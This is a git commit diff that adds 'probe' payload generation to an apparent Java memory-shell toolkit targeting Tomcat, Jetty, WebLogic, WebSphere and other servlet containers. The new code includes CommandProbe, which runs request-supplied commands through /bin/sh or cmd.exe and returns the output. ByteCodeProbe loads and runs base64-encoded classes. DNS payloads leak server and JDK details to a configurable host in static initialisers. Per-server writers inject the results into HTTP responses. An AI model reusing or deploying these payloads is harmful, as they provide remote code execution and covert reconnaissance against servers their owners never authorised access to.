feat: support probe shell generation

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 3102f10d7b
commit 4a3bc0c40a
304 changed files with 59084 additions and 1454 deletions
@@ -0,0 +1,24 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/8/5
*/
public class Constants {
public static class Server {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS = "JBoss";
public static final String RESIN = "Resin";
public static final String WEBLOGIC = "WebLogic";
public static final String WEBSPHERE = "WebSphere";
public static final String GLASSFISH = "GlassFish";
public static final String TONGWEB = "TongWeb";
public static final String BES = "BES";
public static final String INFORSUITE = "InforSuite";
public static final String APUSIC = "Apusic";
public static final String SPRING_WEBFLUX = "SpringWebFlux";
public static final String SPRING_WEBMVC = "SpringWebMvc";
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
@@ -18,7 +17,7 @@ import java.util.Map;
*/
public class MemShellGenerator {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer();
AbstractShell shell = server.getShell();
if (shell == null) {
@@ -57,7 +56,7 @@ public class MemShellGenerator {
byte[] injectorBytes = injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder()
return MemShellResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell.config;
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.AllArgsConstructor;
@@ -18,8 +21,8 @@ import java.util.Map;
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
@Builder(builderClassName = "Builder")
public class MemShellResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
@@ -33,8 +36,8 @@ public class GenerateResult {
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class GenerateResultBuilder {
public GenerateResult build() {
public static class Builder {
public MemShellResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
@@ -43,7 +46,7 @@ public class GenerateResult {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
@@ -3,15 +3,12 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
@@ -22,13 +19,9 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
@@ -8,14 +8,11 @@ import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
@@ -43,13 +40,8 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getParam"),
new MethodCallReplaceVisitorWrapper(
shellToolConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.throwing(Exception.class)
@@ -61,4 +61,8 @@ public class ShellCommonUtil {
}
}
}
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
return null;
}
}
@@ -0,0 +1,14 @@
package com.reajason.javaweb.probe;
/**
* @author ReaJason
* @since 2025/6/30
*/
public enum ProbeContent {
Server,
OS,
JDK,
Bytecode,
Command,
BasicInfo
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.probe;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2025/6/29
*/
public class ProbeGenerator {
public static ProbeResult generate(ProbeConfig probeConfig, ProbeContentConfig contentConfig) {
if (StringUtils.isBlank(probeConfig.getShellClassName())) {
probeConfig.setShellClassName(CommonUtil.generateInjectorClassName());
}
byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig);
return ProbeResult.builder()
.shellClassName(probeConfig.getShellClassName())
.shellBytes(bytes)
.probeConfig(probeConfig)
.probeContentConfig(contentConfig)
.build();
}
}
@@ -0,0 +1,38 @@
package com.reajason.javaweb.probe;
import com.reajason.javaweb.memshell.generator.ShellGenerator;
import com.reajason.javaweb.probe.config.*;
import com.reajason.javaweb.probe.generator.DnsLogGenerator;
import com.reajason.javaweb.probe.generator.SleepGenerator;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import java.lang.reflect.Constructor;
/**
* @author ReaJason
* @since 2025/6/30
*/
public enum ProbeMethod {
DNSLog(DnsLogGenerator.class, DnsLogConfig.class),
ResponseBody(ResponseBodyGenerator.class, ResponseBodyConfig.class),
Sleep(SleepGenerator.class, SleepConfig.class);
private final Class<? extends ShellGenerator> generatorClass;
private final Class<? extends ProbeContentConfig> configClass;
ProbeMethod(Class<? extends ShellGenerator> generatorClass, Class<? extends ProbeContentConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
public byte[] generateBytes(ProbeConfig probeConfig, ProbeContentConfig probeContentConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ProbeConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(probeConfig, configClass.cast(probeContentConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("shell generate failed: " + e.getMessage(), e);
}
}
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.probe;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/8/5
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "Builder")
public class ProbeResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private ProbeConfig probeConfig;
private ProbeContentConfig probeContentConfig;
public static class Builder {
public ProbeResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
return new ProbeResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, probeConfig, probeContentConfig);
}
}
public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassName(shellClassName);
classPackerConfig.setClassBytes(shellBytes);
classPackerConfig.setClassBytesBase64Str(shellBytesBase64Str);
if (probeConfig != null) {
classPackerConfig.setByPassJavaModule(probeConfig.needByPassJavaModule());
}
return classPackerConfig;
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.probe.config;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/6/30
*/
@Getter
@SuperBuilder
@ToString
public class DnsLogConfig extends ProbeContentConfig {
private String host;
}
@@ -0,0 +1,58 @@
package com.reajason.javaweb.probe.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2025/6/30
*/
@Data
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class ProbeConfig {
private ProbeMethod probeMethod;
private ProbeContent probeContent;
@Builder.Default
private String shellClassName = CommonUtil.generateInjectorClassName();
/**
* 生成类的目标 JRE 版本
*/
@Builder.Default
private int targetJreVersion = Opcodes.V1_6;
/**
* 是否需要移除模块限制
*/
@Builder.Default
private boolean byPassJavaModule = false;
/**
* 是否开启调试
*/
@Builder.Default
private boolean debug = false;
/**
* 是否启用缩小字节码
*/
@Builder.Default
private boolean shrink = false;
public boolean isDebugOff() {
return !debug;
}
public boolean needByPassJavaModule() {
return byPassJavaModule || targetJreVersion >= Opcodes.V9;
}
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.probe.config;
import lombok.Getter;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/8/5
*/
@Getter
@SuperBuilder
public class ProbeContentConfig {
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.probe.config;
import lombok.Getter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/6/30
*/
@Getter
@SuperBuilder
@ToString
public class ResponseBodyConfig extends ProbeContentConfig {
private String server;
private String reqParamName;
private String reqHeaderName;
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.probe.config;
import lombok.Getter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/8/1
*/
@Getter
@SuperBuilder
@ToString
public class SleepConfig extends ProbeContentConfig {
private String server;
private int seconds;
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.probe.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.memshell.generator.ShellGenerator;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ByteBuddyShellGenerator<T extends ProbeContentConfig> implements ShellGenerator {
protected final ProbeConfig probeConfig;
protected final T probeContentConfig;
public ByteBuddyShellGenerator(ProbeConfig probeConfig, T probeContentConfig) {
this.probeConfig = probeConfig;
this.probeContentConfig = probeContentConfig;
}
protected abstract DynamicType.Builder<?> build(ByteBuddy buddy);
@Override
public byte[] getBytes() {
DynamicType.Builder<?> builder = build(new ByteBuddy());
if (probeConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
if (probeConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), probeConfig.isShrink());
}
}
}
@@ -0,0 +1,48 @@
package com.reajason.javaweb.probe.generator;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.config.DnsLogConfig;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.payload.JdkProbe;
import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/6/29
*/
public class DnsLogGenerator extends ByteBuddyShellGenerator<DnsLogConfig> {
public DnsLogGenerator(ProbeConfig probeConfig, DnsLogConfig probeContentConfig) {
super(probeConfig, probeContentConfig);
}
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
ProbeContent detectContent = probeConfig.getProbeContent();
switch (detectContent) {
case Server:
return buddy.redefine(DnsLogServer.class)
.name(CommonUtil.generateShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("host")).value(probeContentConfig.getHost())
.visit(Advice.to(ServerProbe.class).on(named("getServer")));
case JDK:
return buddy.redefine(DnsLogJdk.class)
.name(CommonUtil.generateShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("host")).value(probeContentConfig.getHost())
.visit(Advice.to(JdkProbe.class).on(named("getJdk")));
default:
throw new UnsupportedOperationException(detectContent + " not supported");
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.probe.generator;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.SleepConfig;
import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.sleep.SleepServer;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/6/29
*/
public class SleepGenerator extends ByteBuddyShellGenerator<SleepConfig> {
public SleepGenerator(ProbeConfig probeConfig, SleepConfig probeContentConfig) {
super(probeConfig, probeContentConfig);
}
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
ProbeContent detectContent = probeConfig.getProbeContent();
if (ProbeContent.Server.equals(detectContent)) {
return buddy.redefine(SleepServer.class)
.name(CommonUtil.generateShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("server")).value(probeContentConfig.getServer())
.field(named("seconds")).value(probeContentConfig.getSeconds())
.visit(Advice.to(ServerProbe.class).on(named("getServer")));
}
throw new UnsupportedOperationException("Sleep Probe not supported for " + detectContent);
}
}
@@ -0,0 +1,132 @@
package com.reajason.javaweb.probe.generator.response;
import com.reajason.javaweb.Constants;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
import com.reajason.javaweb.probe.payload.CommandProbe;
import com.reajason.javaweb.probe.payload.response.*;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2025/6/29
*/
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
super(probeConfig, probeContentConfig);
}
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
String name;
Class<?> getDataFromReqInterceptor;
if (probeContentConfig.getReqParamName() != null) {
name = probeContentConfig.getReqParamName();
getDataFromReqInterceptor = getDataFromReqParamInterceptor.class;
} else {
name = probeContentConfig.getReqHeaderName();
getDataFromReqInterceptor = getDataFromReqHeaderInterceptor.class;
}
Class<?> templateClass;
switch (probeContentConfig.getServer()) {
case Constants.Server.JETTY:
templateClass = JettyWriter.class;
break;
case Constants.Server.TOMCAT:
case Constants.Server.JBOSS:
case Constants.Server.BES:
templateClass = TomcatWriter.class;
break;
case Constants.Server.TONGWEB:
templateClass = TongWebWriter.class;
break;
case Constants.Server.RESIN:
templateClass = ResinWriter.class;
break;
case Constants.Server.UNDERTOW:
templateClass = UndertowWriter.class;
break;
case Constants.Server.GLASSFISH:
case Constants.Server.INFORSUITE:
templateClass = GlassFishWriter.class;
break;
case Constants.Server.WEBSPHERE:
templateClass = WebSphereWriter.class;
break;
case Constants.Server.WEBLOGIC:
templateClass = WebLogicWriter.class;
break;
case Constants.Server.APUSIC:
templateClass = ApusicWriter.class;
break;
default:
throw new IllegalArgumentException("responseBody now supported for server: " + probeContentConfig.getServer());
}
Class<?> runInterceptor;
switch (probeConfig.getProbeContent()) {
case Command:
runInterceptor = CommandProbe.class;
break;
case Bytecode:
runInterceptor = ByteCodeProbe.class;
break;
default:
throw new IllegalArgumentException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
}
return buddy.redefine(templateClass)
.name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
.to(getDataFromReqInterceptor).on(named("getDataFromReq")))
.visit(Advice.to(runInterceptor).on(named("run")));
}
static class getDataFromReqHeaderInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) Object request,
@NameAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
try {
ret = ((String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name}));
} catch (Exception e) {
ret = null;
}
}
}
static class getDataFromReqParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) Object request,
@NameAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
try {
ret = ((String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}));
} catch (Exception e) {
ret = null;
}
}
}
@Retention(RetentionPolicy.RUNTIME)
public @interface NameAnnotation {
}
}
@@ -0,0 +1,67 @@
package com.reajason.javaweb.probe.payload;
import java.lang.management.ManagementFactory;
import java.lang.management.ThreadInfo;
import java.lang.management.ThreadMXBean;
import java.text.SimpleDateFormat;
import java.util.*;
/**
* @author ReaJason
* @since 2025/7/29
*/
public class BasicInfoPrinter {
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
sb.append("# Generated At ").append(sdf.format(new Date())).append("\n");
sb.append("SystemProps:\n");
Properties properties = System.getProperties();
for (Object key : properties.keySet()) {
sb.append(key).append(": ").append(properties.get(key)).append("\n");
}
sb.append("\n===========================================\n");
sb.append("\nThreadStacks:\n");
Map<Thread, StackTraceElement[]> allStackTraces = Thread.getAllStackTraces();
ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();
Set<String> classNames = new HashSet<>();
for (Map.Entry<Thread, StackTraceElement[]> threadEntry : allStackTraces.entrySet()) {
Thread thread = threadEntry.getKey();
StackTraceElement[] stackTrace = threadEntry.getValue();
ThreadInfo threadInfo = threadMXBean.getThreadInfo(thread.getId());
sb.append("\"").append(thread.getName()).append("\" #").append(thread.getId());
if (thread.isDaemon()) {
sb.append(" daemon");
}
sb.append(" [").append(thread.getState()).append("]");
if (threadInfo != null && threadInfo.getLockName() != null) {
sb.append(" on ").append(threadInfo.getLockName());
}
sb.append("\n");
sb.append(" java.lang.Thread.State: ").append(thread.getState()).append("\n");
for (StackTraceElement element : stackTrace) {
sb.append("\tat ").append(element.toString()).append("\n");
String className = element.getClassName();
if (!className.startsWith("java.")
&& !className.startsWith("jdk.")
&& !className.startsWith("sun.")
&& !className.startsWith("com.sun.")
&& !className.startsWith("javax.")
) {
classNames.add(className);
}
}
sb.append("\n");
}
sb.append("\n===========================================\n");
sb.append("\nStackClassNames:\n");
List<String> strings = new ArrayList<>(classNames);
Collections.sort(strings);
for (String className : strings) {
sb.append(className).append("\n");
}
return sb.toString();
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
/**
* @author ReaJason
* @since 2025/8/5
*/
public class ByteCodeProbe {
private final String base64Str;
public ByteCodeProbe(String base64Str) {
this.base64Str = base64Str;
}
@Advice.OnMethodExit
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable {
Class<?> decoderClass;
byte[] classBytes;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length);
ret = clazz.newInstance().toString();
System.out.println(ret);
return ret;
}
@Override
@SneakyThrows
public String toString() {
return ByteCodeProbe.exit(base64Str, super.toString());
}
}
@@ -0,0 +1,36 @@
package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice;
import java.util.NoSuchElementException;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/8/5
*/
public class CommandProbe {
private final String command;
public CommandProbe(String command) {
this.command = command;
}
@Advice.OnMethodExit
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
Process process = new ProcessBuilder(cmd).start();
try {
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
} catch (NoSuchElementException e) {
return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
}
}
@Override
@SneakyThrows
public String toString() {
return CommandProbe.exit(command, super.toString());
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.probe.payload;
import net.bytebuddy.asm.Advice;
import java.io.File;
/**
* @author ReaJason
* @since 2025/7/26
*/
public class JdkProbe {
@Advice.OnMethodExit
public static String exit(@Advice.Return(readOnly = false) String ret) {
String javaHome = System.getProperty("java.home");
String javacName = File.separatorChar == '\\' ? "javac.exe" : "javac";
// 检查 JDK 9+ 结构 (java.home/bin/javac) 或独立 JRE
File javacFileInBin = new File(javaHome, "bin" + File.separator + javacName);
// 检查 JDK 8 及更早版本的结构 (java.home/../bin/javac) 旧版 JDK 中,java.home 指向 jre 目录
File javacFileInParentBin = new File(new File(javaHome).getParentFile(), "bin" + File.separator + javacName);
String jdkType = (javacFileInBin.exists() || javacFileInParentBin.exists()) ? "JDK" : "JRE";
String javaVersion = System.getProperty("java.version");
String classVersion = String.valueOf(Double.valueOf(Double.parseDouble(System.getProperty("java.class.version"))).intValue());
return ret = jdkType + "|" + javaVersion + "|" + classVersion;
}
@Override
public String toString() {
return JdkProbe.exit(super.toString());
}
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.probe.payload;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/7/26
*/
public class OsProbe {
@Advice.OnMethodExit
public static String exit(@Advice.Return(readOnly = false) String ret) {
String os = System.getProperty("os.name").toLowerCase();
if (os.startsWith("win")) {
return ret = "win";
}
if (os.startsWith("mac")) {
return ret = "mac";
}
return ret = "linux";
}
@Override
public String toString() {
return OsProbe.exit(super.toString());
}
}
@@ -0,0 +1,81 @@
package com.reajason.javaweb.probe.payload;
import net.bytebuddy.asm.Advice;
import java.util.Collection;
import java.util.HashSet;
import java.util.Set;
/**
* HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 UndertowPayara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish
* <br/>
* 额外需要注意:
* 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序
*
* @author ReaJason
* @since 2025/7/26
*/
public class ServerProbe {
@Advice.OnMethodExit
public static String exit(@Advice.Return(readOnly = false) String ret) {
Collection<StackTraceElement[]> stackTraceElements = Thread.getAllStackTraces().values();
Set<String> classNames = new HashSet<>();
for (StackTraceElement[] stackTraceElement : stackTraceElements) {
for (StackTraceElement traceElement : stackTraceElement) {
classNames.add(traceElement.getClassName());
}
}
if (System.getProperty("jetty.home") != null
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
return ret = "Jetty";
}
if (classNames.contains("io.undertow.server.Connectors")) {
return ret = "Undertow";
}
if (System.getProperty("com.cvicse.inforsuite.base.dir") != null) {
return ret = "InforSuite";
}
if (System.getProperty("com.apusic.home") != null) {
return ret = "Apusic";
}
if (System.getProperty("bes.home") != null
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
return ret = "BES";
}
if (System.getProperty("tongweb.home") != null) {
return ret = "TongWeb";
}
if (System.getProperty("weblogic.home") != null) {
return ret = "WebLogic";
}
if (System.getProperty("was.install.root") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
return ret = "Resin";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
if (System.getProperty("AS_INSTALL") != null) {
return ret = "GlassFish";
}
if (System.getProperty("jboss.home.dir") != null
&& classNames.contains("org.apache.tomcat.util.net.JIoEndpoint$Acceptor")) {
return ret = "JBoss";
}
if (System.getProperty("catalina.home") != null
|| classNames.contains("org.apache.tomcat.util.threads.TaskQueue")) {
return ret = "Tomcat";
}
return ret = "Unknown";
}
@Override
public String toString() {
return ServerProbe.exit(super.toString());
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.probe.payload.dns;
import java.net.InetAddress;
/**
* @author ReaJason
* @since 2025/7/28
*/
public class DnsLogJdk {
public static String host;
static {
new DnsLogJdk();
}
public DnsLogJdk() {
String[] jdkInfos = getJdk().split("\\|");
String[] result = new String[]{
"jdkType." + jdkInfos[0],
"javaVersion." + jdkInfos[1]
};
for (String info : result) {
try {
InetAddress.getAllByName(info + "." + host);
} catch (Throwable ignored) {
}
}
}
private String getJdk() {
return null;
}
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.probe.payload.dns;
import java.net.InetAddress;
/**
* @author ReaJason
* @since 2025/7/28
*/
public class DnsLogServer {
public static String host;
static {
new DnsLogServer();
}
public DnsLogServer() {
try {
InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
} catch (Throwable ignored) {
}
}
private String getServer() {
return null;
}
}
@@ -0,0 +1,91 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/8/10
*/
public class ApusicWriter {
public ApusicWriter() {
try {
Object table = getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry == null) {
continue;
}
Object value = getFieldValue(entry, "value");
// com.apusic.invocation.InvocationContext
if (value != null && value.getClass().getName().contains("InvocationContext")) {
Object servletInvocation = getFieldValue(value, "top");
